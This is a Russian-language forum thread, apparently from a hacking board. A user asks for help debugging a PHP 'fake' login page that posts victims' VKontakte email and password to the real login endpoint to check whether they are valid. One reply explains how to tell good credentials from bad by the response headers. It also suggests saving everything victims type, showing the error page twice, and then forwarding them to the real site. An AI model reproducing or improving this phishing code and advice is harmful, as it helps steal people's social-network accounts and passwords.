Всем доброго времени суток, вот скрипт авторизации, который почему то не пашет посмотрите пожалуйста, где ошибки. PHP: <? function vk_login($login,$pass) { $login = urlencode($login); $pass = urlencode($pass); $ch = curl_init('http://login.vk.com/?act=login'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk="); $res = curl_exec($ch); if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s)) return $s[1]; else return false; } $email = $_POST['login']; $password = $_POST['passwd']; if(!vk_login($email, $password)) { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=bad.htm'></head></html>"; } else { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>"; } ?> подскажите ошибку плиз, один хер перебрасывает на bad.htm, какие бы данные не вводил.
нет ошибок просто vkontakte сделали редирект через хидер и на странице http://login.vk.com/?act=login не будет ни каких писанин типа if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s)) поэтому что бы не вводили в фейк будет бедхтм нужно искать другой способ определения валидности данных К примеру вот какой хидер когда на послали не правильный логин-пас Location: http://vkontakte.ru/login.php?m=1&email=marina-bryushinina%40yandex.ru а вот что когда правильный Location: пусто Set-Cookie: remixchk=5; expires=Mon, 25-Oct-2010 21:03:36 GMT; path=/; domain=.vkontakte.ru то есть тебе надо переформулировать вопрос так как определить Location возвращаемый удалённым сервером ну или не проверять валидность вовсе... просто пару раз перекинуть на бед хтм а все данные от юзверя при этом сохранять, а на третий раз перенаправлять на настоящий контакт .. типа так
selevit, ты чё велемир №2 ? Будешь для каждого тупого вопроса новую тему создавать? Есть тема для тупых вопросов http://forum.antichat.ru/thread40896.html , а вобще мог бы и сам мозгами пораскинуть